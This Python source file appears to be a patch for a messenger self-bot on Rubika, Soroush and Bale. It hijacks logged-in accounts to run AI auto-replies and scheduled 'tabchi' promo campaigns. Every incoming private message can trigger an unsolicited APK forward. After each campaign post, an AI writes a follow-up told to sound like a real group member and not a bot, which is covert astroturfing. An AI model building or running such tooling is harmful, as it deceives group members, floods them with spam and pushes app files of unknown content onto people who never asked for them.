_TRX_LIVE_SEEN = {}


def _trx_live_lock(key):
    lock = _TRX_LIVE_LOCKS.get(key)
    if lock is None:
        lock = asyncio.Lock()
        _TRX_LIVE_LOCKS[key] = lock
    return lock


async def _trx_event_handler_v10(event, uid: int, service: str, aid: int):
    try:
        binding = db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=?", (uid, aid))
        if not binding or not binding["enabled"]:
            return
        client = ai_live_clients.get((uid, aid))
        # /id must run before ignoring outgoing/self messages.
        if client and await _trx_register_apk_from_self_event(uid, aid, service, client, event):
            return
        if getattr(event, "is_me", False) or getattr(event, "out", False):
            return
        text_value = _trx_extract_event_text(event)
        if not text_value or text_value.startswith("/trx"):
            return
        private = _trx_is_private_event(event)
        group = _trx_is_group_event(event)
        if private and not binding["auto_reply_pv"]:
            return
        if group and not binding["auto_reply_group"]:
            return
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)):
            return

        peer_key = _trx_peer_key(event, f"{service}:{aid}")
        lock = _trx_live_lock((uid, aid, peer_key))
        async with lock:
            # Small debounce: process each message at most once.
            ev_key = f"{peer_key}:{getattr(event,'id',getattr(event,'message_id',''))}:{text_value[:80]}"
            if ev_key in _TRX_LIVE_SEEN:
                return
            _TRX_LIVE_SEEN[ev_key] = time.time()
            if len(_TRX_LIVE_SEEN) > 4000:
                cutoff = time.time() - 3600
                for k,v in list(_TRX_LIVE_SEEN.items()):
                    if v < cutoff:
                        _TRX_LIVE_SEEN.pop(k, None)

            await asyncio.sleep(TRX_REPLY_DELAY_SECONDS)
            await _trx_maybe_mark_seen(client, event)

            apk = _trx_apk_pick(uid, aid)
            asked_apk = _trx_apk_intent(text_value)
            proactive = private and TRX_PROACTIVE_APK_PV and bool(apk) and not _trx_apk_delivered(uid, aid, peer_key, apk["id"])
            if proactive or asked_apk:
                if apk:
                    ok, info = await _trx_forward_source_apk(uid, aid, getattr(event, "chat_id", None) or getattr(getattr(event,"chat",None),"id",None), int(apk["id"]))
                    if ok:
                        _trx_mark_apk_delivered(uid, aid, peer_key, apk["id"])
                        desc = await _trx_ai_apk_description(uid, aid, apk)
                        sent_desc = False
                        for method_name in ("reply", "respond"):
                            fn = getattr(event, method_name, None)
                            if not fn:
                                continue
                            try:
                                await _trx_maybe_await(fn(desc))
                                sent_desc = True
                                break
                            except Exception:
                                pass
                        if not sent_desc and client:
                            target = getattr(event,"chat_id",None) or getattr(getattr(event,"chat",None),"id",None)
                            send = getattr(client,"send_message",None)
                            if send and target is not None:
                                await _trx_maybe_await(send(target, desc))
                        _trx_memory_save(uid, aid, peer_key, "user", text_value)
                        _trx_memory_save(uid, aid, peer_key, "assistant", f"[APK forwarded] {desc}")
                        log_account_activity(aid, uid, "apk_forward", peer_key, 1)
                        return

            memory = _trx_memory_load(uid, aid, peer_key, 12)
            mode = "private_reply" if private else "group_reply"
            extra = f"Peer key: {peer_key}. Keep this exact person's conversation history; do not start over."
            messages = [{"role":"system","content":_trx_ai_system(uid, aid, mode, extra)}]
            messages.extend(memory)
            messages.append({"role":"user","content":text_value[:2500]})
            reply = await ai.chat(messages, uid=uid, account_id=aid, action_type="auto_reply", temperature=0.75, max_tokens=500)
            if not reply:
                return
            sent = False
            for method_name in ("reply", "respond"):
                fn = getattr(event, method_name, None)
                if not fn:
                    continue
                try:
                    await _trx_maybe_await(fn(reply))
                    sent = True
                    break
                except Exception:
                    continue
            if not sent and client:
                target = getattr(event,"chat_id",None) or getattr(getattr(event,"chat",None),"id",None)
                send = getattr(client,"send_message",None)
                if send and target is not None:
                    await _trx_maybe_await(send(target, reply))
                    sent = True
            if sent:
                _trx_memory_save(uid, aid, peer_key, "user", text_value)
                _trx_memory_save(uid, aid, peer_key, "assistant", reply)
                log_account_activity(aid, uid, "ai_reply", peer_key, 1)
    except Exception as e:
        log.error(f"AI live v10 {service}/{aid}: {e}\n{traceback.format_exc(limit=40)}")


# ----- Re-register handlers with the v10 event handler and keep runner alive.
_TRX_AI_HANDLER_KEYS_V10 = set()

def _trx_attach_handler_v10(client, uid, service, aid):
    key = (uid, aid, id(client))
    if key in _TRX_AI_HANDLER_KEYS_V10:
        return True
    async def handler(event):
        await _trx_event_handler_v10(event, uid, service, aid)
    try:
        if service == "soroush":
            from splusthon import events as ev
            on = getattr(client, "on", None)
            if on:
                deco = on(ev.NewMessage)
                if callable(deco): deco(handler)
                _TRX_AI_HANDLER_KEYS_V10.add(key)
                return True
    except Exception as e:
        log.warning(f"Soroush v10 handler: {e}")
    try:
        if service == "bale":
            from bale import events as ev
            on = getattr(client, "on", None)
            if on and hasattr(ev,"NewMessage"):
                deco = on(ev.NewMessage)
                if callable(deco): deco(handler)
                _TRX_AI_HANDLER_KEYS_V10.add(key)
                return True
    except Exception as e:
        log.warning(f"Bale v10 handler: {e}")
    try:
        on_updates = getattr(client, "on_message_updates", None)
        if on_updates:
            try:
                deco = on_updates()
            except TypeError:
                deco = on_updates(None)
            if callable(deco): deco(handler)
            _TRX_AI_HANDLER_KEYS_V10.add(key)
            return True
    except Exception as e:
        log.warning(f"Rubpy v10 handler: {e}")
    for name in ("on_message", "add_event_handler", "on"):
        try:
            fn = getattr(client, name, None)
            if not fn: continue
            r = fn(handler)
            if callable(r) and name == "on_message":
                try: r(handler)
                except Exception: pass
            _TRX_AI_HANDLER_KEYS_V10.add(key)
            return True
        except Exception:
            continue
    return False


def _register_ai_handler(client, uid: int, service: str, account_id: Optional[int] = None):
    aid = account_id or _account_id_for(uid, service)
    if not client or not aid:
        return False
    ok = _trx_attach_handler_v10(client, uid, service, aid)
    if ok:
        ai_live_clients[(uid, aid)] = client
        try:
            db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?", (now(), aid))
        except Exception:
            pass
        try:
            _trx_task_create(_trx_start_live_runner(client, service, uid, aid))
        except Exception:
            pass
    return ok


# ----- Replace explicit APK sender used by scheduler with true self-forward.
async def _trx_send_apk(uid: int, aid: int, target, apk_id: int):
    return await _trx_forward_source_apk(uid, aid, target, apk_id)


# ----- Scheduled campaign: post, optionally self-forward the APK, then send a medium AI follow-up.
async def _trx_run_task(task):
    uid, aid = int(task["user_id"]), int(task["account_id"])
    target_type, target = (task["task_type"] or "group"), task["target"]
    payload = _trx_task_payload(task)
    client = ai_live_clients.get((uid, aid)) or await _ensure_ai_client(uid, aid)
    if not client:
        raise RuntimeError("اکانت سلف برای ارسال زمان‌بندی‌شده متصل نیست")
    content = await _trx_generate_campaign(uid, aid, target_type)
    if not content:
        raise RuntimeError("AI محتوایی تولید نکرد")

    send = getattr(client, "send_message", None)
    if not send:
        raise RuntimeError("این کلاینت متد send_message ندارد")
    sent_obj = await _trx_maybe_await(send(target, content[:3200]))
    promo_id = getattr(sent_obj, "id", None) or getattr(sent_obj, "message_id", None) or (sent_obj.get("id") if isinstance(sent_obj,dict) else None)

    if payload.get("send_apk") and payload.get("apk_id"):
        ok, info = await _trx_forward_source_apk(uid, aid, target, int(payload["apk_id"]))
        if not ok:
            raise RuntimeError(f"ارسال APK از Self انجام نشد: {info}")

        follow = await ai.chat(
            [{"role":"system","content":_trx_ai_system(uid, aid, "tabchi_followup", f"Target: {target}; promo message already sent. Reply naturally to that exact promo message.\n{_trx_ai_get_kb(uid)[:5000]}")},
             {"role":"user","content":"یک پاسخ متوسط و طبیعی برای همان پیام تبلیغاتی بنویس؛ طوری که کاربر واقعی در گروه نوشته باشد، نه متن رباتی. فقط اطلاعات معتبر محصول را استفاده کن."}],
            uid=uid, account_id=aid, action_type="tabchi_followup", temperature=0.8, max_tokens=300
        )
        if follow:
            sent_follow = False
            # Try to reply to the exact promo message.
            if promo_id is not None:
                for kwargs in ({"reply_to": promo_id}, {"reply_to_msg_id": promo_id}):
                    try:
                        await _trx_maybe_await(send(target, follow[:1800], **kwargs))
                        sent_follow = True
                        break
                    except Exception:
                        pass
            if not sent_follow:
                await _trx_maybe_await(send(target, follow[:1800]))

    now_s = now()
    db.execute("UPDATE ai_tasks SET last_run=?,run_count=run_count+1,updated_at=? WHERE id=?", (now_s, now_s, task["id"]))
    db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)", (task["id"], 1, "ok", now_s))
    return True


async def _trx_scheduler_loop_v10():
    while True:
        try:
            await asyncio.sleep(10)
            if db is None:
                continue
            rows = db.fetchall("SELECT * FROM ai_tasks WHERE enabled=1")
            ts = time.time()
            for task in rows:
                interval = max(TRX_MIN_TASK_MINUTES * 60, int(task["interval_seconds"] or TRX_MIN_TASK_MINUTES*60))
                last = task["last_run"]
                due = True
                if last:
                    try:
                        due = datetime.fromisoformat(last).timestamp() + interval <= ts
                    except Exception:
                        due = True
                if not due:
                    continue
                try:
                    await _trx_run_task(task)
                except Exception as e:
                    log.warning(f"AI scheduled task #{task['id']} failed: {e}")
                    try:
                        db.execute("UPDATE ai_tasks SET last_run=?,updated_at=? WHERE id=?", (now(), now(), task["id"]))
                        db.execute("INSERT INTO ai_task_runs(task_id,success,detail,created_at) VALUES(?,?,?,?)", (task["id"], 0, str(e)[:1000], now()))
                    except Exception:
                        pass
        except asyncio.CancelledError:
            return
        except Exception as e:
            log.warning(f"AI scheduler v10: {e}")

_trx_scheduler_loop = _trx_scheduler_loop_v10


# ----- Task state router: target -> minutes >= 7 -> APK yes/no -> enabled schedule.
_TRX_PREVIOUS_ON_MSG_V10 = on_msg

async def on_msg(msg):
    try:
        from_ = msg.get("from", {}) or {}
        uid = from_.get("id")
        chat_id = msg.get("chat", {}).get("id")
        if uid:
            lang = (ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))["lang"] or "fa")
            txt = (msg.get("text") or "").strip()
            s = state.get(uid)
            mode = s.get("mode") if s else None
            if s and s.get("state") in {State.AI_TASK_TARGET, State.AI_CHANNEL_NAME, State.AI_GROUP_LINK} and mode in {"channel_task", "group_task"}:
                if not txt or txt.startswith("/"):
                    return await bot.send(chat_id, "❌ لینک/شناسه هدف را درست وارد کنید.")
                state.set(uid, State.AI_TASK_INTERVAL, **{k:v for k,v in s.items() if k not in {"state","at"}}, target=txt, step="interval")
                return await bot.send(chat_id, "⏱ فاصله ارسال را به دقیقه وارد کنید؛ حداقل ۷ دقیقه. مثال: `7` یا `12`")

            if s and s.get("state") == State.AI_TASK_INTERVAL:
                try:
                    minutes = int(re.sub(r"\D+", "", txt))
                except Exception:
                    minutes = 0
                if minutes < TRX_MIN_TASK_MINUTES:
                    return await bot.send(chat_id, "◆ حداقل فاصله زمانی ۷ دقیقه است؛ مثلاً `7` یا `10` وارد کنید.")
                state.set(uid, State.AI_TASK_APK,
                          **{k:v for k,v in s.items() if k not in {"state","at"}},
                          interval_seconds=minutes*60, step="apk")
                return await bot.send(chat_id, "📦 همراه تبلیغ APK مرجع هم از Self فوروارد شود؟ `بله` یا `خیر`")

            if s and s.get("state") == State.AI_TASK_APK:
                val = txt.lower().strip()
                if val not in {"yes","no","بله","خیر","نه"}:
                    return await bot.send(chat_id, "❌ فقط `بله` یا `خیر` وارد کنید.")
                send_apk = val in {"yes","بله"}
                apk = _trx_apk_pick(uid, int(s["account_id"])) if send_apk else None
                if send_apk and not apk:
                    return await bot.send(chat_id, "❌ برای همین اکانت هنوز APK مرجع از Saved/Self با `/id` ثبت نشده است.")
                task_type = "channel" if mode == "channel_task" else "group"
                payload = {"send_apk": bool(send_apk), "apk_id": int(apk["id"]) if apk else None}
                created = now()
                db.execute("INSERT INTO ai_tasks(user_id,account_id,task_type,target,interval_seconds,message_template,enabled,created_at,updated_at,meta_json,last_run) VALUES(?,?,?,?,?,?,?,?,?,?,?)",
                           (uid, int(s["account_id"]), task_type, s["target"], int(s["interval_seconds"]), "", 1, created, created, json.dumps(payload, ensure_ascii=False), created))
                state.pop(uid)
                return await bot.send(chat_id,
                                      f"◆ {'تبچی کانال' if task_type=='channel' else 'تبچی گروه'} فعال شد.\n\n"
                                      f"🎯 هدف: {s['target']}\n⏱ هر {int(s['interval_seconds'])//60} دقیقه\n"
                                      f"📦 APK: {'بله' if send_apk else 'خیر'}\n\n✦ زمان‌بندی از همین حالا ذخیره شد.",
                                      reply_markup=ai_advanced_menu(lang, uid))
    except Exception as e:
        log.error(f"AI task state v10: {e}\n{traceback.format_exc(limit=40)}")
    return await _TRX_PREVIOUS_ON_MSG_V10(msg)


# ----- Rename group scheduler UI to Tabchi without changing callback contracts.
def ai_advanced_menu_v10(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
    tasks = db.fetchone("SELECT COUNT(*) c FROM ai_tasks WHERE user_id=? AND enabled=1", (uid,))["c"]
    kb_ok = bool(_trx_ai_get_kb(uid).strip())
    prompt_ok = bool(_trx_ai_get_prompt(uid).strip())
    if lang == "en":
        rows = [
            [("Disable AI" if is_on else "Enable AI", "ai.tog")],
            [("Product Knowledge", "ai.kb"), ("Campaign Prompt", "ai.prompt")],
            [("Response Tone", "ai.tone"), ("AI Stats", "ai.stats")],
            [(f"AI Accounts ({bindings})", "ai.bindings")],
            [("Private Auto-Reply", "ai.pv"), ("Group Reply", "ai.group")],
            [("Channel Scheduler", "ai.channel"), (f"Scheduled Tasks ({tasks})", "ai.tasks")],
            [("KB: READY" if kb_ok else "KB: EMPTY", "ai.info"), ("PROMPT: READY" if prompt_ok else "PROMPT: EMPTY", "ai.info")],
            [("Home", "menu")],
        ]
        return IKB([[( _trx_button_text_en(a), d) for a,d in row] for row in rows])
    return IKB([
        [("خاموش کردن AI" if is_on else "روشن کردن AI", "ai.tog")],
        [("دانش محصول", "ai.kb"), ("پرامپت کمپین", "ai.prompt")],
        [("لحن پاسخ", "ai.tone"), ("آمار دقیق AI", "ai.stats")],
        [(f"اتصال AI به اکانت ({bindings})", "ai.bindings")],
        [("پاسخ خودکار PV", "ai.pv"), ("پاسخ در گروه", "ai.group")],
        [("زمان‌بندی کانال", "ai.channel"), (f"تسک‌های زمان‌بندی ({tasks})", "ai.tasks")],
        [(f"دانش: {'آماده' if kb_ok else 'خالی'}", "ai.info"), (f"پرامپت: {'آماده' if prompt_ok else 'خالی'}", "ai.info")],
        [("خانه", "menu")],
    ])

ai_advanced_menu = ai_advanced_menu_v10


def _trx_tabchi_menu(lang="fa", uid=0):
    return IKB([
        [("📣 Tabchi" if lang=="en" else "📣 تبچی", "ai.group"), ("📰 Channel Scheduler" if lang=="en" else "📰 زمان‌بندی کانال", "ai.channel")],
        [("⏱ Scheduled Tasks" if lang=="en" else "⏱ تسک‌های زمان‌بندی", "ai.tasks")],
        [("↩️ Back" if lang=="en" else "↩️ بازگشت", "ai")],
    ])


# ----- Callback overlay for task creation labels + robust state kickoff + language UI.
_TRX_DISPATCH_BEFORE_V10 = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    try:
        if data == "ai.group":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns=[]
            for r in rows:
                label = f"#{r['id']} — {_trx_service_name(lang, r['service'])}"
                btns.append([(label, f"ai.task.account:group:{r['id']}")])
            btns.append([(("↩️ Back" if lang=="en" else "↩️ بازگشت"), "ai")])
            title = "📣 Tabchi — choose account" if lang=="en" else "📣 تبچی — اکانت ارسال‌کننده را انتخاب کنید"
            return await _edit(chat_id, msg_id, title, IKB(btns))
        if data.startswith("ai.task.account:group:") or data.startswith("ai.task.account:channel:"):
            kind, aid_s = data.split(":",2)[1:]
            aid = int(aid_s)
            a = db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid,uid))
            if not a:
                return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد.", ai_advanced_menu(lang,uid))
            client = await _ensure_ai_client(uid,aid)
            if not client:
                return await _edit(chat_id,msg_id,"⚠️ نشست سلف این اکانت در دسترس نیست؛ ابتدا حساب را وصل کنید.", ai_advanced_menu(lang,uid))
            mode = "group_task" if kind=="group" else "channel_task"
            st = State.AI_TASK_TARGET
            state.set(uid, st, mode=mode, task_kind=kind, account_id=aid, step="target")
            prompt = ("📍 لینک/شناسه گروه هدف را بفرستید." if kind=="group" else "📰 لینک/آیدی کانال هدف را بفرستید.") if lang!="en" else ("📍 Send the target group link/ID." if kind=="group" else "📰 Send the target channel link/username.")
            return await _edit(chat_id,msg_id,prompt,IKB([[("❌ Cancel" if lang=="en" else "❌ لغو","cancel")]]))
        if data == "ai.channel":
            rows = db.fetchall("SELECT * FROM accounts WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
            btns=[[(f"#{r['id']} — {_trx_service_name(lang,r['service'])}",f"ai.task.account:channel:{r['id']}")] for r in rows]
            btns.append([(("↩️ Back" if lang=="en" else "↩️ بازگشت"),"ai")])
            return await _edit(chat_id,msg_id,("📰 Channel Scheduler" if lang=="en" else "📰 زمان‌بندی کانال")+"\n\n"+("Send the target channel link after choosing the account." if lang=="en" else "بعد از انتخاب اکانت، لینک/آیدی کانال هدف را بفرستید."), IKB(btns))
    except Exception as e:
        log.error(f"dispatch v10: {e}")
    return await _TRX_DISPATCH_BEFORE_V10(cb_id, uid, lang, u, chat_id, msg_id, data)


# ----- Restore AI bindings with v10 handler.
async def _restore_ai_live_clients_v10():
    rows = db.fetchall("SELECT b.user_id,b.account_id,a.service FROM ai_bindings b JOIN accounts a ON a.id=b.account_id WHERE b.enabled=1 AND a.enabled=1 ORDER BY b.id")
    for r in rows:
        try:
            client = await _trx_restore_one_account(r["user_id"], r["account_id"])
            if client:
                _register_ai_handler(client, r["user_id"], r["service"], r["account_id"])
        except Exception as e:
            log.warning(f"AI restore v10 {r['service']} #{r['account_id']}: {e}")
_restore_ai_live_clients = _restore_ai_live_clients_v10

# ----- Safer Rubika OTP path: single session, platform/hash pairing, retry without recreating the hash.
async def rubika_send_code_v10(uid: int, phone: str) -> Tuple[bool, Any]:
    try:
        mod = _trx_import_or_install("rulog", "rulog>=1.0.3")
        RulogClient = getattr(mod, "Client", None)
        if RulogClient is None:
            raise RuntimeError("rulog.Client not available")
    except Exception as e:
        return False, _mask(str(e))
    number = _trx_phone_98digits(phone)
    errors=[]
    for platform, send_type in (("android", True), ("web", False)):
        try:
            rc = RulogClient()
            result = await asyncio.to_thread(rc.sendCode, platform, number, **({"send_type":True} if send_type else {}))
            if isinstance(result, dict) and result.get("status") == "OK":
                data = result.get("data") or {}
                ph = data.get("phone_code_hash") or data.get("phoneCodeHash")
                if ph:
                    active_clients[uid] = {"client":None,"rulog":rc,"service":"rubika","phone":number,"phone_input":phone,"hash":ph,"otp_platform":platform,"created_at":time.time(),"connected":False}
                    return True,result
            errors.append(f"{platform}: {str(result)[:500]}")
        except OSError as e:
            # Errno 5 on Android/webview can be a transient I/O failure; recreate the
            # rulog client and retry the same platform once before falling back.
            if getattr(e,"errno",None) == 5:
                try:
                    rc = RulogClient()
                    result = await asyncio.to_thread(rc.sendCode, platform, number, **({"send_type":True} if send_type else {}))
                    if isinstance(result,dict) and result.get("status") == "OK":
                        data=result.get("data") or {}
                        ph=data.get("phone_code_hash") or data.get("phoneCodeHash")
                        if ph:
                            active_clients[uid]={"client":None,"rulog":rc,"service":"rubika","phone":number,"phone_input":phone,"hash":ph,"otp_platform":platform,"created_at":time.time(),"connected":False}
                            return True,result
                except Exception as e2:
                    errors.append(f"{platform} retry: {e2}")
            errors.append(f"{platform}: {e}")
        except Exception as e:
            errors.append(f"{platform}: {e}")
    return False, "ارسال کد روبیکا انجام نشد؛ مسیرهای ثبت‌شده شکست خوردند:\n" + "\n".join(errors)[-1500:]


async def rubika_verify_v10(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service")!="rubika" or not info.get("rulog") or not info.get("hash"):
        return False,"نشست OTP روبیکا پیدا نشد؛ شماره را دوباره وارد کنید."
    code = re.sub(r"\\D", "", str(code))
    if not (4 <= len(code) <= 8):
        return False,"کد تایید را دقیقاً مثل پیام روبیکا وارد کنید."
    platform=info.get("otp_platform") or "android"
    try:
        result = await asyncio.to_thread(info["rulog"].signIn, platform, info["phone"], info["hash"], code)
        if not isinstance(result,dict):
            return False, f"پاسخ ورود روبیکا نامعتبر بود: {result}"
        data=result.get("data") or result
        auth=result.get("Auth") or result.get("auth") or data.get("Auth") or data.get("auth")
        key=result.get("Key") or result.get("key") or data.get("Key") or data.get("key")
        if not auth or not key:
            return False, f"ورود روبیکا کامل نشد: {str(result)[:1200]}"
        try:
            await asyncio.to_thread(info["rulog"].register, platform=platform, auths=auth, keys=key)
        except Exception as e:
            log.warning(f"Rubika register v10: {e}")
        from rubpy import Client as RubpyClient
        client=RubpyClient(os.path.join(SESS_DIR,f"rubika_{uid}"),auth=str(auth),private_key=key,phone_number=info["phone"],platform="Android")
        await _trx_connect_client(client)
        me=await _trx_maybe_await(client.get_me()) if hasattr(client,"get_me") else None
        cur=db.execute("INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",(uid,"rubika",info["phone"],json.dumps({"auth":auth,"key":key},ensure_ascii=False),"online",now()))
        aid=cur.lastrowid
        ai_live_clients[(uid,aid)]=client
        active_clients[uid].update({"client":client,"connected":True,"account_id":aid,"auth":auth,"key":key})
        # AI binding is enabled by default after successful account login, matching current bot UX.
        _register_ai_handler(client,uid,"rubika",aid)
        log_account_activity(aid,uid,"login","rubika",1)
        log_event(uid,"ACCOUNT_ADDED","rubika")
        return True,me or result
    except Exception as e:
        log.error(f"Rubika verify v10: {e}\n{traceback.format_exc(limit=40)}")
        return False,_mask(str(e))

SERVICE_HANDLERS["rubika"]={"send":_wrap_otp_handler("rubika",rubika_send_code_v10),"verify":rubika_verify_v10}


# ----- Tutorial: keep useful sections; remove banners/admin from tutorial.
def tutorial_menu_v10(lang):
    return IKB([
        [("🚀 Setup", "tut:start"), ("📱 Accounts", "tut:accounts")],
        [("🤖 AI Setup", "tut:ai"), ("📣 Targets / Tabchi", "tut:targets")],
        [("📰 Channel Scheduler", "tut:channel"), ("📦 APK / Self", "tut:apk")],
        [("💳 Subscription", "tut:sub"), ("⚙️ Settings", "tut:settings")],
        [("↩️ Back", "menu")],
    ]) if lang=="en" else IKB([
        [("🚀 راه‌اندازی", "tut:start"), ("📱 حساب‌ها", "tut:accounts")],
        [("🤖 تنظیم AI", "tut:ai"), ("📣 هدف‌ها / تبچی", "tut:targets")],
        [("📰 زمان‌بندی کانال", "tut:channel"), ("📦 APK / Self", "tut:apk")],
        [("💳 اشتراک", "tut:sub"), ("⚙️ تنظیمات", "tut:settings")],
        [("↩️ بازگشت", "menu")],
    ])
tutorial_menu=tutorial_menu_v10


print("\\n[TRX117] FINAL PATCH v10 LOADED — APK SELF-FORWARD / 8s AI / TABCHI / PROVIDER / RUBIKA / GLASS UI\\n")



# ═══════════════════════════════════════════════════════════════════
#  TRX FINAL PATCH v11 — native APK source, target resolver, provider
#  self-heal, exact task workflow, and stronger Rubika/SPlus/Bale compatibility.
#  Appended deliberately; legacy/core functions remain available.
# ═══════════════════════════════════════════════════════════════════

MAX_APK_PER_USER = 2
TRX_MIN_TASK_MINUTES = 7
TRX_REPLY_DELAY_SECONDS = 8
TRX_PROACTIVE_APK_PV = True

# Keep at most two active APK references per user without deleting any data.
def _trx_enforce_apk_limit(uid):
    try:
        rows = db.fetchall("SELECT id FROM apk_files WHERE user_id=? AND enabled=1 ORDER BY id DESC", (uid,))
        for r in rows[MAX_APK_PER_USER:]:
            db.execute("UPDATE apk_files SET enabled=0 WHERE id=?", (r["id"],))
    except Exception as e:
        log.warning(f"APK limit enforcement failed for {uid}: {e}")

try:
    db.execute("CREATE TABLE IF NOT EXISTS apk_sources (apk_id INTEGER PRIMARY KEY, account_id INTEGER, platform TEXT, source_peer TEXT, source_message_id TEXT, created_at TEXT)")
except Exception:
    pass


def _trx_secret_from_settings(*keys):
    for key in keys:
        try:
            value = os.getenv(key, "").strip()
            if value:
                return value
        except Exception:
            pass
        try:
            if db is not None:
                row = db.fetchone("SELECT value FROM settings WHERE key=?", (key,))
                if row and row["value"]:
                    return str(row["value"]).strip()
        except Exception:
            pass
    return ""


# Seed missing Atria aliases from environment/settings when the user actually provided them.
async def _trx_provider_seed_v11(self):
    try:
        await _TRX_PROVIDER_SEED_OLD(self)
    except Exception as e:
        log.warning(f"Provider legacy seed v11: {e}")
    atria_keys = [
        _trx_secret_from_settings("TRXATRIA1_KEY", "TRXATRIA1", "TRX_ATRIA_1_KEY"),
        _trx_secret_from_settings("TRXATRIA2_KEY", "TRXATRIA2", "TRX_ATRIA_2_KEY"),
    ]
    for i, key in enumerate(atria_keys, 1):
        if not key:
            continue
        name = f"TRX_ATRIA_{i}"
        if not db.fetchone("SELECT id FROM ai_providers WHERE name=?", (name,)):
            db.execute(
                "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,error_count,last_error,created_at) VALUES(?,?,?,?,?,?,?,0,'',?)",
                (name, "atria", "https://api.atria-asi.ai/v1", "Atria-Dawn-Preview", key, 30+i, "unknown", now())
            )

    # Normalize provider aliases, model IDs and endpoints without replacing user keys.
    for r in db.fetchall("SELECT * FROM ai_providers ORDER BY priority,id"):
        name = str(r["name"] or "").upper()
        provider = str(r["provider"] or "").lower().strip()
        updates = None
        if "GROQ" in name or provider == "groq":
            updates = ("groq", "https://api.groq.com/openai/v1", "openai/gpt-oss-120b")
        elif "CEREBRAS" in name or provider == "cerebras":
            updates = ("cerebras", "https://api.cerebras.ai/v1", "gpt-oss-120b")
        elif "ATRIA" in name or provider == "atria":
            updates = ("atria", "https://api.atria-asi.ai/v1", "Atria-Dawn-Preview")
        elif "GAPGPT" in name or provider == "gapgpt":
            updates = ("gapgpt", (r["base_url"] or "https://api.gapgpt.app/v1").rstrip("/"), r["model"] or "gpt-4o-mini")
        if updates:
            db.execute(
                "UPDATE ai_providers SET provider=?,base_url=?,model=?,status=CASE WHEN status='disabled' THEN 'disabled' ELSE 'unknown' END,last_error='' WHERE id=?",
                (*updates, r["id"])
            )
AIProvider.seed = _trx_provider_seed_v11


# Provider creation wizard: detect Atria from its name/URL before the first test.
async def _trx_provider_finalize_v11(uid: int, name: str, key_value: str, url_value: str):
    url = (url_value or "").strip()
    lname = name.lower()
    low = url.lower()
    if url in {"", "-", "/skip"}:
        if "groq" in lname:
            url = "https://api.groq.com/openai/v1"
        elif "cerebras" in lname:
            url = "https://api.cerebras.ai/v1"
        elif "atria" in lname:
            url = "https://api.atria-asi.ai/v1"
        elif "gapgpt" in lname:
            url = "https://api.gapgpt.app/v1"
        else:
            url = "https://api.openai.com/v1"
        low = url.lower()
    url = re.sub(r"/+(chat/completions|responses)$", "", url).rstrip("/")
    low = url.lower()
    if "atria" in lname or "atria-asi.ai" in low:
        provider, model, url = "atria", "Atria-Dawn-Preview", "https://api.atria-asi.ai/v1"
    elif "groq" in lname or "groq.com" in low:
        provider, model, url = "groq", "openai/gpt-oss-120b", "https://api.groq.com/openai/v1"
    elif "cerebras" in lname or "cerebras.ai" in low:
        provider, model, url = "cerebras", "gpt-oss-120b", "https://api.cerebras.ai/v1"
    elif "gapgpt" in lname or "gapgpt" in low:
        provider, model = "gapgpt", "gpt-4o-mini"
    else:
        provider, model = "openai", "gpt-4o-mini"
    if db.fetchone("SELECT id FROM ai_providers WHERE name=?", (name,)):
        return False, "نام Provider از قبل وجود دارد."
    cur = db.execute(
        "INSERT INTO ai_providers(name,provider,base_url,model,api_key,priority,status,error_count,last_error,created_at) VALUES(?,?,?,?,?,?,?,0,'',?)",
        (name, provider, url, model, key_value, 100, "unknown", now())
    )
    ok, test_info = await ai.test(cur.lastrowid)
    if ok:
        return True, f"✅ Provider #{cur.lastrowid} ثبت و تست شد.\n\n{str(test_info)[:300]}"
    db.execute("UPDATE ai_providers SET status='failed',last_error=? WHERE id=?", (str(test_info)[:1200], cur.lastrowid))
    return False, f"Provider ذخیره شد ولی تست ناموفق بود:\n{str(test_info)[:800]}"

_trx_provider_finalize = _trx_provider_finalize_v11


# Robust extraction of a replied-to message, including Rubpy's documented get_messages_by_id.
async def _trx_event_get_reply_message_v11(client, event):
    reply_id = getattr(event, "reply_to_msg_id", None) or getattr(event, "reply_to_message_id", None)
    if reply_id is None:
        reply_obj = getattr(event, "reply_to", None) or getattr(getattr(event, "message", None), "reply_to", None)
        if reply_obj is not None:
            reply_id = getattr(reply_obj, "reply_to_msg_id", None) or getattr(reply_obj, "message_id", None) or getattr(reply_obj, "id", None)
            if reply_id is None and isinstance(reply_obj, (int, str)):
                reply_id = reply_obj
    if reply_id is None:
        return None

    source_peer = await _trx_self_peer(client)
    # Rubpy current API: get_messages_by_id(object_guid, message_ids).
    for name in ("get_messages_by_id",):
        fn = getattr(client, name, None)
        if fn:
            for args, kwargs in [((source_peer, [str(reply_id)]), {}), ((source_peer, str(reply_id)), {})]:
                try:
                    result = await _trx_maybe_await(fn(*args, **kwargs))
                    msgs = getattr(result, "messages", None) or getattr(result, "data", None) or result
                    if isinstance(msgs, (list, tuple)) and msgs:
                        return msgs[0]
                    if msgs is not None and not isinstance(msgs, (str, int, float, bool)):
                        return msgs
                except Exception:
                    continue
    getter = getattr(client, "get_messages", None) or getattr(client, "get_message", None)
    if getter:
        candidates = [
            ((source_peer,), {"ids": reply_id}),
            ((source_peer,), {"id": reply_id}),
            ((source_peer,), {"limit": 1, "offset_id": reply_id}),
            ((source_peer, reply_id), {}),
        ]
        for args, kwargs in candidates:
            try:
                result = await _trx_maybe_await(getter(*args, **kwargs))
                if isinstance(result, (list, tuple)):
                    return result[0] if result else None
                return result
            except Exception:
                continue
    return None


